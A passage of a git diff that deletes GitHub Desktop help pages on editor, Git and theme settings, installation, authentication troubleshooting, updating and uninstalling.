"External Editor", use the dropdown menu to select the editor you want to set as your default. -1. Click **Save**. - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-choose-options %} -1. In the Options window, select **Integrations**. - ![Screenshot of the "Options" window. In the left sidebar, the "Integrations" option is highlighted in blue and outlined in orange.](/assets/images/help/desktop/windows-select-integrations-pane.png) -1. Under "External Editor", use the dropdown menu to select the editor you want to set as your default. -1. Click **Save**. - -{% endwindows %} - -## Configuring a custom editor - -{% data reusables.desktop.mac-select-desktop-menu %} -1. In the Settings window, select **Integrations**. - ![Screenshot of the "Settings" window. In the left sidebar, the "Integrations" option is highlighted in blue and outlined in orange.](/assets/images/help/desktop/mac-select-integrations-pane.png) -1. Under "External Editor", use the dropdown menu to select **Configure Custom Editor**. -1. Click **Choose** to open the system dialog to navigate to the path of your custom editor. -1. Under "Arguments", enter any arguments you would like to use after the "%TARGET_PATH%" variable. Reference supporting documentation for your custom editor to ensure you have the arguments set correctly, as invalid arguments can prevent the editor from launching in {% data variables.product.prodname_desktop %}. -1. Click **Save**. - -## Opening a repository in the default editor - -To open the current repository in the default editor, you can use the menu bar: - -1. In the menu bar, select **Repository**. -1. Click **Open in default editor** - -If you want to open another repository in the default editor, you can use the repository list. - -1. In the upper-left corner of {% data variables.product.prodname_desktop %}, to the right of the current repository name, click {% octicon "triangle-down" aria-label="The triangle-down icon" %}. -1. Right-click the repository, then click **Open in default editor**. - -{% mac %} - -> [!TIP] -> You can use the Shift+Command+A keyboard shortcut to open a repository in the default editor. - -{% endmac %} - -{% windows %} - -> [!TIP] -> You can use the Ctrl+Shift+A keyboard shortcut to open a repository in the default editor. - -{% endwindows %} - -## Opening a file in the default editor - -1. Navigate to the "Changes" tab in the left sidebar. -1. Double-click on the file, or right-click on the file and select **Open in default editor**. diff --git a/content/desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop.md b/content/desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop.md deleted file mode 100644 index f8ade7111fc6..000000000000 --- a/content/desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Configuring basic settings in GitHub Desktop -intro: 'You can access settings for protecting your privacy, connecting accounts to {% data variables.product.prodname_desktop %}, and configuring Git.' -redirect_from: - - /desktop/getting-started-with-github-desktop/configuring-basic-settings - - /desktop/installing-and-configuring-github-desktop/configuring-basic-settings - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Configure basic settings ---- -{% mac %} - -{% data reusables.desktop.mac-select-desktop-menu %} -1. To view or change your settings, toggle between the panes in the "Settings" window. - - ![Screenshot of the "Settings" window. The left sidebar contains menu options such as "Accounts" and "Integrations".](/assets/images/help/desktop/sign-in-github.png) - - {% data reusables.desktop.settings-options-tabs %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-choose-options %} -1. To view or change your settings, toggle between the panes in the "Options" window. - - ![Screenshot of the "Options" window. The left sidebar, with menu options such as "Accounts" and "Integrations", is highlighted with an orange outline.](/assets/images/help/desktop/window-select-options-pane.png) - - {% data reusables.desktop.settings-options-tabs %} - -{% endwindows %} - -## Further reading - -* [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop) diff --git a/content/desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md b/content/desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md deleted file mode 100644 index d141a99542d7..000000000000 --- a/content/desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Configuring Git for GitHub Desktop -shortTitle: Configuring Git -intro: 'You can manage Git configuration settings for your local repositories with {% data variables.product.prodname_desktop %}.' -redirect_from: - - /desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop - - /desktop/installing-and-configuring-github-desktop/configuring-git-for-github-desktop - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## About Git configuration for {% data variables.product.prodname_desktop %} - -{% data variables.product.prodname_desktop %} uses your local Git configuration settings and provides the option to configure some of these settings, such as the global author information and the default branch that is used when creating a new repository. - -{% data variables.product.prodname_desktop %} allows you to set the name and email address you would like associated with the commits you make in your repositories. If your name and email address have already been set in the global Git configuration for your computer, {% data variables.product.prodname_desktop %} will detect and use those values. {% data variables.product.prodname_desktop %} also allows you to set a different name and email address for an individual repository. This is useful when you need to use a separate work email address for a specific repository. - -If the email address that has been set in your Git configuration does not match an email address associated with the {% data variables.product.github %} account you are currently logged in to, {% data variables.product.prodname_desktop %} will show a warning prior to committing. - -{% data variables.product.prodname_desktop %} also allows you to change the default branch name that you would like to use when creating new repositories. By default, {% data variables.product.prodname_desktop %} uses `main` as the default branch name in any new repositories you create. - -> [!TIP] -> Anyone will be able to see the email address in your Git configuration if you make public commits. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). - -## Configuring your global author information - -Configuring your global author information in {% data variables.product.prodname_desktop %} will update the name and email address in your global Git configuration. This will be the default name and email address for all new local repositories you create in {% data variables.product.prodname_desktop %}. - -{% mac %} - -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.settings-git-pane %} -{% data reusables.desktop.name-field-git-config %} -{% data reusables.desktop.select-email-git-config %} -{% data reusables.desktop.click-save-git-config %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-choose-options %} -1. In the "Options" window, click **Git**. - - ![Screenshot of the "Git" pane in the "Options" window. In the left sidebar, an option labeled "Git" is highlighted in blue and outlined in orange.](/assets/images/help/desktop/windows-select-git-pane.png) - -{% data reusables.desktop.name-field-git-config %} -{% data reusables.desktop.select-email-git-config %} -{% data reusables.desktop.click-save-git-config %} - -{% endwindows %} - -## Configuring different author information for an individual repository - -You can change the name and email address used to author commits in a specific repository. This local Git configuration will override your global Git configuration settings for this one repository only. - -{% mac %} - -1. To switch to the repository for which you want to set specific configuration, use the "Current Repository" dropdown menu. - - ![Screenshot of the repository bar in GitHub Desktop. Next to "Current Repository", a dropdown icon is highlighted with an orange outline.](/assets/images/help/desktop/current-repo-dropdown.png) - -{% data reusables.desktop.mac-repository-settings-menu %} -{% data reusables.desktop.select-git-config %} -{% data reusables.desktop.use-local-git-config %} -{% data reusables.desktop.local-config-name %} -{% data reusables.desktop.select-email-git-config %} -{% data reusables.desktop.repository-settings-save %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-repository-settings-menu %} -{% data reusables.desktop.select-git-config %} -{% data reusables.desktop.use-local-git-config %} -{% data reusables.desktop.local-config-name %} -{% data reusables.desktop.select-email-git-config %} -{% data reusables.desktop.repository-settings-save %} - -{% endwindows %} - -## Configuring your default branch for new repositories - -You can configure the default branch that will be used when you create a new repository in {% data variables.product.prodname_desktop %}. For more information about the default branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% mac %} - -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.settings-git-pane %} -1. Optional, under "Default branch name for new repositories" edit the name of the default branch as needed. -{% data reusables.desktop.click-save-git-config %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-choose-options %} -1. In the Options window, click **Git**. - - ![Screenshot of the "Git" pane in the "Options" window. In the left sidebar, an option labeled "Git" is highlighted in blue and outlined in orange.](/assets/images/help/desktop/windows-select-git-pane.png) - -1. Under "Default branch name for new repositories", select the default branch name you would like to use, or, to enter a custom name, select "Other...". -{% data reusables.desktop.click-save-git-config %} - -{% endwindows %} - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) -* [AUTOTITLE](/get-started/getting-started-with-git) diff --git a/content/desktop/configuring-and-customizing-github-desktop/index.md b/content/desktop/configuring-and-customizing-github-desktop/index.md deleted file mode 100644 index b99a4a373895..000000000000 --- a/content/desktop/configuring-and-customizing-github-desktop/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Configuring and customizing GitHub Desktop -intro: 'Set up Git, connect your default editor, and customize settings to align GitHub Desktop with your workflow.' -redirect_from: - - /desktop/getting-started-with-github-desktop/configuring-and-customizing-github-desktop - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop -versions: - feature: desktop -children: - - /configuring-git-for-github-desktop - - /configuring-basic-settings-in-github-desktop - - /configuring-a-default-editor-in-github-desktop - - /setting-a-theme-for-github-desktop - - /about-git-large-file-storage-and-github-desktop -shortTitle: Configure & customize ---- - diff --git a/content/desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md b/content/desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md deleted file mode 100644 index 4fb31061a9de..000000000000 --- a/content/desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Setting a theme for GitHub Desktop -intro: You can set a theme to customize the look and feel of GitHub Desktop. -redirect_from: - - /desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop - - /desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Set a theme ---- -{% mac %} - -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.choose-a-theme %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-choose-options %} -{% data reusables.desktop.choose-a-theme %} - -{% endwindows %} diff --git a/content/desktop/index.md b/content/desktop/index.md deleted file mode 100644 index 2ff745461def..000000000000 --- a/content/desktop/index.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: "{% data variables.product.prodname_desktop %} documentation" -shortTitle: "{% data variables.product.prodname_desktop %}" -intro: "With {% data variables.product.prodname_desktop %}, you can interact with GitHub using a GUI instead of the command line or a web browser. You can use GitHub Desktop to complete most Git commands from your desktop, such as pushing to, pulling from, and cloning remote repositories, attributing commits, and creating pull requests, with visual confirmation of changes." -introLinks: - overview: /desktop/overview/about-github-desktop - quickstart: /desktop/overview/getting-started-with-github-desktop -featuredLinks: - startHere: - - /desktop/overview/creating-your-first-repository-using-github-desktop - - /desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop - - /desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop - guideCards: - - /desktop/making-changes-in-a-branch/stashing-changes-in-github-desktop - - /desktop/managing-commits/reverting-a-commit-in-github-desktop - - /desktop/managing-commits/amending-a-commit-in-github-desktop - - /desktop/managing-commits/cherry-picking-a-commit-in-github-desktop - popular: - - /desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop - - /desktop/making-changes-in-a-branch/managing-branches-in-github-desktop - - /desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop - - /desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop - - /desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop -changelog: - label: desktop - versions: - feature: desktop -layout: product-landing -versions: - feature: desktop -topics: - - Desktop - - Repositories -children: - - /overview - - /installing-and-authenticating-to-github-desktop - - /configuring-and-customizing-github-desktop - - /adding-and-cloning-repositories - - /making-changes-in-a-branch - - /managing-commits - - /working-with-your-remote-repository-on-github-or-github-enterprise -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github - - /desktop/contributing-and-collaborating-using-github-desktop - - /desktop/installing-and-configuring-github-desktop ---- - diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github-in-github-desktop.md b/content/desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github-in-github-desktop.md deleted file mode 100644 index 8ced3f4e4bb9..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github-in-github-desktop.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: About connections to GitHub in GitHub Desktop -intro: '{% data variables.product.prodname_desktop %} uses HTTPS to securely exchange data with {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /desktop/getting-started-with-github-desktop/about-connections-to-github - - /desktop/installing-and-configuring-github-desktop/about-connections-to-github - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: About connections ---- -{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} when you pull from, push to, clone, and fork remote repositories. To connect to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %}, you must authenticate your account. For more information, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop). - -After you authenticate to {% data variables.product.prodname_dotcom %}, you can connect to remote repositories with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} caches your credentials (username and password or {% data variables.product.pat_generic %}) and uses the credentials to authenticate for each connection to the remote repository. - -{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} using HTTPS. If you use {% data variables.product.prodname_desktop %} to access repositories that were cloned using SSH, you may encounter errors. To connect to a repository that was cloned using SSH, change the remote's URLs. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -## Further reading - -* [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop) diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop.md b/content/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop.md deleted file mode 100644 index 67d182e91272..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Authenticating to GitHub in GitHub Desktop -shortTitle: Authentication -intro: 'You can securely access your account''s resources on {% data variables.product.prodname_desktop %} by authenticating to {% data variables.product.github %}.' -redirect_from: - - /desktop/getting-started-with-github-desktop/authenticating-to-github-using-the-browser - - /desktop/getting-started-with-github-desktop/authenticating-to-github - - /desktop/installing-and-configuring-github-desktop/authenticating-to-github - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## About authentication - -To keep your account secure, you must authenticate before you can use {% data variables.product.prodname_desktop %} to access resources on {% data variables.product.github %}. - -Before you authenticate, {% data reusables.desktop.get-an-account %} - -{% mac %} - -## Authenticating to your {% data variables.product.github %} account - -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.mac-click-sign-into %} -1. If you are signing into an account on {% data variables.product.prodname_enterprise %}, in the "Sign in" modal window, type the URL where you access {% data variables.product.github %}, then click **Continue**. -{% data reusables.desktop.sign-in-browser %} -{% data reusables.desktop.authenticate-in-browser %} -{% data reusables.desktop.2fa-in-browser %} -1. After {% data variables.product.github %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. - -{% endmac %} - -{% windows %} - -## Authenticating to your {% data variables.product.github %} account - -{% data reusables.desktop.windows-choose-options %} -{% data reusables.desktop.windows-click-sign-into %} - -1. If you are signing into an account on {% data variables.product.prodname_enterprise %}, in the "Sign in" modal window, type the URL where you access {% data variables.product.github %}, then click **Continue**. -{% data reusables.desktop.sign-in-browser %} - - {% data reusables.user-settings.password-authentication-deprecation-desktop %} - -{% data reusables.desktop.authenticate-in-browser %} -{% data reusables.desktop.2fa-in-browser %} -1. After {% data variables.product.github %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. - -{% endwindows %} - -## Troubleshooting authentication issues - -If {% data variables.product.prodname_desktop %} encounters an authentication error, you can use error messages to troubleshoot. - -If you encounter an authentication error, first try signing out and signing back in to your account on {% data variables.product.prodname_desktop %}. - -For some errors, {% data variables.product.prodname_desktop %} will prompt you with an error message. If you are not prompted, or to find more information about any error, view the {% data variables.product.prodname_desktop %} log files by using the following steps. - -{% mac %} - -1. In the menu bar, select **Help**, then click **Show Logs in Finder**. - - ![Screenshot of the "GitHub Desktop" menu bar on a Mac. Under the expanded "Help" dropdown menu, "Show Logs in Finder" is highlighted blue.](/assets/images/help/desktop/mac-show-logs.png) - -1. Select the log file from the date when you encountered the authentication error. - -{% endmac %} - -{% windows %} - -1. Use the **Help** drop-down menu and click **Show Logs in Explorer**. - - ![Screenshot of the "GitHub Desktop" menu bar on Windows. In the expanded "Help" dropdown menu, "Show Logs in Explorer" is outlined in orange.](/assets/images/help/desktop/windows-show-logs.png) - -1. Select the log file from the date when you encountered the authentication error. - -{% endwindows %} - -Review the troubleshooting information below for the error message that you encounter. - -### Bad credentials - -```shell -Error: Bad credentials -``` - -This error means that there is an issue with your stored account credentials. - -To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. - -### Empty token - -```shell -info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - USERNAME (empty token) -``` - -This error means that {% data variables.product.prodname_desktop %} is unable to find the access token that it created in the system keychain. - -To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. - -### Repository not found - -```shell -fatal: repository 'https://github.com//.git' not found - -(The error was parsed as 8: The repository does not seem to exist anymore. You may not have access, or it may have been deleted or renamed.) -``` - -This error means that you do not have permission to access the repository that you are trying to clone. - -To troubleshoot, contact the person in your organization who administers permissions. - -### Could not read from remote repository - -```shell -git@github.com: Permission denied (publickey). -fatal: Could not read from remote repository. - -Please make sure you have the correct access rights and the repository exists. -``` - -This error means that you do not have a valid SSH key set up. - -To troubleshoot, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -### Failed to clone - -```shell -fatal: clone of 'git@github.com:/' into submodule path '' failed -Failed to clone 'src/github.com//'. Retry scheduled -Cloning into ''... -git@github.com: Permission denied (publickey). -fatal: Could not read from remote repository. -Please make sure you have the correct access rights -and the repository exists. -``` - -This error means that either the repository that you are trying to clone has submodules that you do not have access to or you do not have a valid SSH key set up. - -If you do not have access to the submodules, troubleshoot by contacting the person who administers permissions for the repository. - -If you do not have a valid SSH key set up, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -{% windows %} - -### Unable to read AskPass response - -```shell -error: unable to read askpass response from '/Users//GitHub Desktop.app/Contents/Resources/app/static/ask-pass-trampoline.sh' -fatal: could not read Username for 'https://github.com': terminal prompts disabled -``` - -This error can be caused by multiple events. - -If the `Command Processor` registry entries are modified, {% data variables.product.prodname_desktop %} will respond with an `Authentication failed` error. To check if these registry entries have been modified, follow these steps. - -1. Open the Registry Editor (`regedit.exe`) and navigate to the following locations. - `HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` -1. Check to see if there is an `Autorun` value in either location. -1. If there is an `Autorun` value, delete it. - -If your Windows username has extended Unicode characters, it may cause an AskPass response error. To troubleshoot, create a new Windows user account and migrate your files to that account. For more information, see [Create a user account in Windows](https://support.microsoft.com/en-us/help/13951/windows-create-user-account) in the Microsoft documentation. - -{% endwindows %} - -## Further reading - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github) diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/index.md b/content/desktop/installing-and-authenticating-to-github-desktop/index.md deleted file mode 100644 index fb87d4c0f44b..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Installing and authenticating to GitHub Desktop -intro: Install GitHub Desktop and connect your GitHub or GitHub Enterprise accounts. -redirect_from: - - /desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop -versions: - feature: desktop -children: - - /setting-up-github-desktop - - /installing-github-desktop - - /authenticating-to-github-in-github-desktop - - /about-connections-to-github-in-github-desktop - - /updating-github-desktop - - /uninstalling-github-desktop -shortTitle: Install & authenticate ---- - diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md b/content/desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md deleted file mode 100644 index 065aee374ca5..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Installing GitHub Desktop -shortTitle: Installation -intro: You can install GitHub Desktop on supported Windows or macOS operating systems. -redirect_from: - - /desktop/getting-started-with-github-desktop/installing-github-desktop - - /desktop/installing-and-configuring-github-desktop/installing-github-desktop - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Download {% data variables.product.prodname_desktop %} {% octicon "link-external" height:16 %} - -## About {% data variables.product.prodname_desktop %} installation - -You can install {% data variables.product.prodname_desktop %} on supported operating systems, which currently include {% data variables.desktop.mac-osx-versions %} and {% data variables.desktop.windows-versions %}. If you have a {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} account, you can connect your account to {% data variables.product.prodname_desktop %}.{% ifversion fpt or ghec %} For more information about creating an account, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %}{% ifversion ghec %} If you're part of an organization that uses {% data variables.product.prodname_emus %} and you do not have an account, contact your enterprise administrator.{% elsif ghes %} If you're a member of an organization that uses {% data variables.product.prodname_ghe_server %} and you do not have an account, contact your site administrator.{% endif %} - -{% windows %} - -If you are a network administrator, you can deploy {% data variables.product.prodname_desktop %} to computers running Windows on an Active Directory-managed network by using the Windows Installer package file (`.msi`) with Group Policy or another remote installation system. - -The Windows Installer package extracts the standalone installer (`.exe`) and configures Windows to install {% data variables.product.prodname_desktop %} the next time a user signs in to their workstation. Users must have permissions to install {% data variables.product.prodname_desktop %} in their user directory. - -If a user runs the Windows Installer package for {% data variables.product.prodname_desktop %} directly, to complete the installation, the user must sign out of their workstation and then sign back in. - -{% endwindows %} - -## Downloading and installing {% data variables.product.prodname_desktop %} - -{% mac %} - -You can install {% data variables.product.prodname_desktop %} on {% data variables.desktop.mac-osx-versions %}. - -{% data reusables.desktop.download-desktop-page %} -1. Click **Download for macOS**. -1. In your computer's `Downloads` folder, double-click the **{% data variables.product.prodname_desktop %}** zip file. -1. After the file has been unzipped, double-click the **{% data variables.product.prodname_desktop %}** application file. -1. {% data variables.product.prodname_desktop %} will launch after installation is complete. - -{% endmac %} - -{% windows %} - -You can install {% data variables.product.prodname_desktop %} on {% data variables.desktop.windows-versions %}. - -> [!WARNING] -> You must have a 64-bit operating system to run {% data variables.product.prodname_desktop %}. - -{% data reusables.desktop.download-desktop-page %} -1. Click **Download for Windows**. -1. In your computer's `Downloads` folder, double-click the **{% data variables.product.prodname_desktop %}** setup file. -1. {% data variables.product.prodname_desktop %} will launch after installation is complete. - -{% endwindows %} - -{% linux %} - -Linux is not yet supported - -{% endlinux %} diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md b/content/desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md deleted file mode 100644 index 22434296f407..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Setting up GitHub Desktop -shortTitle: Setup -intro: 'You can set up {% data variables.product.prodname_desktop %} to suit your needs and contribute to projects.' -redirect_from: - - /desktop/getting-started-with-github-desktop/setting-up-github-desktop - - /desktop/installing-and-configuring-github-desktop/setting-up-github-desktop - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## Part 1: Installing {% data variables.product.prodname_desktop %} - -You can install {% data variables.product.prodname_desktop %} on any supported operating system. For more information, see [AUTOTITLE](/desktop/overview/supported-operating-systems-for-github-desktop). - -To install {% data variables.product.prodname_desktop %}, navigate to [https://desktop.github.com/](https://desktop.github.com/) and download the appropriate version of {% data variables.product.prodname_desktop %} for your operating system. Follow the prompts to complete the installation. For more information, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop). - -## Part 2: Configuring your account - -If you have an account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you can use {% data variables.product.prodname_desktop %} to exchange data between your local and remote repositories. - -### Creating an account - -If you do not already have an account on {% data variables.product.github %}, create one now.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %} - -{% ifversion ghec %}If you're part of an organization that uses {% data variables.product.prodname_emus %} and you do not have an account, contact your enterprise administrator.{% elsif ghes %}If you're a member of an organization that uses {% data variables.product.prodname_ghe_server %} and you do not have an account, contact your site administrator.{% endif %} - -### Authenticating to {% data variables.product.prodname_dotcom %} - -To connect to {% data variables.product.prodname_desktop %} with {% data variables.product.prodname_dotcom %}, you'll need to authenticate your account. For more information, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop). - -After authenticating your account, you are ready to manage and contribute to projects with {% data variables.product.prodname_desktop %}. - -## Part 3: Configuring Git - -To start working with {% data variables.product.prodname_desktop %}, you need to configure the name and email associated with your Git commits. See [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop). - -> [!NOTE] If you also want to use Git on the command line, you need to install Git yourself. The latest version of Git is available from https://git-scm.com/downloads. - -## Part 4: Customizing {% data variables.product.prodname_desktop %} - -You can adjust defaults and settings to tailor {% data variables.product.prodname_desktop %} to your needs. - -### Choosing a default text editor - -You can open a text editor from {% data variables.product.prodname_desktop %} to manipulate files and repositories. {% data variables.product.prodname_desktop %} supports a variety of text editors and integrated development environments (IDEs) for Windows and macOS. You can choose a default editor in the {% data variables.product.prodname_desktop %} settings. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop). - -### Choosing a theme - -{% data variables.product.prodname_desktop %} has multiple themes available to customize the look and feel of the app. You can choose a theme in the {% data variables.product.prodname_desktop %} settings. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop). diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md b/content/desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md deleted file mode 100644 index ffda7009fc72..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Uninstalling GitHub Desktop -intro: You can uninstall GitHub Desktop from your computer at any time. -redirect_from: - - /desktop/getting-started-with-github-desktop/uninstalling-github-desktop - - /desktop/installing-and-configuring-github-desktop/uninstalling-github-desktop - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Uninstalling ---- -{% mac %} - -1. Open the Finder on your Mac and navigate to the "Applications" folder. -1. Right-click **{% data variables.product.prodname_desktop %}** and click **Move to Trash**. -1. In the menu bar, select the **Finder** dropdown menu, then click **Empty Trash**. - - ![Screenshot of the menu bar on a Mac. The "Finder" dropdown menu is expanded.](/assets/images/help/desktop/mac-empty-trash-menu.png) - -1. Read the warning in the pop-up box and click **Empty Trash**. - -{% endmac %} - -{% windows %} - -1. Open the Start menu, then search for and open Control Panel. -1. Under "Programs", click **Uninstall a program**. - ![Screenshot of a window labeled "Adjust your computer's settings". A link, labeled "Uninstall a program", is highlighted with an orange outline.](/assets/images/help/desktop/windows-uninstall-a-program.png) -1. Right-click the entry named **{% data variables.product.prodname_desktop %}**, then click **Uninstall**. - -{% endwindows %} diff --git a/content/desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md b/content/desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md deleted file mode 100644 index 230a2d885230..000000000000 --- a/content/desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Updating GitHub Desktop -shortTitle: Updating -intro: GitHub Desktop automatically downloads updates and installs them when you restart. You can also manually check for updates. -redirect_from: - - /desktop/getting-started-with-github-desktop/updating-github-desktop - - /desktop/installing-and-configuring-github-desktop/updating-github-desktop - - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -{% mac %} - -## Updating {% data variables.product.prodname_desktop %} - -1. In the menu bar, select **{% data variables.product.prodname_desktop %}**, then click **About {% data 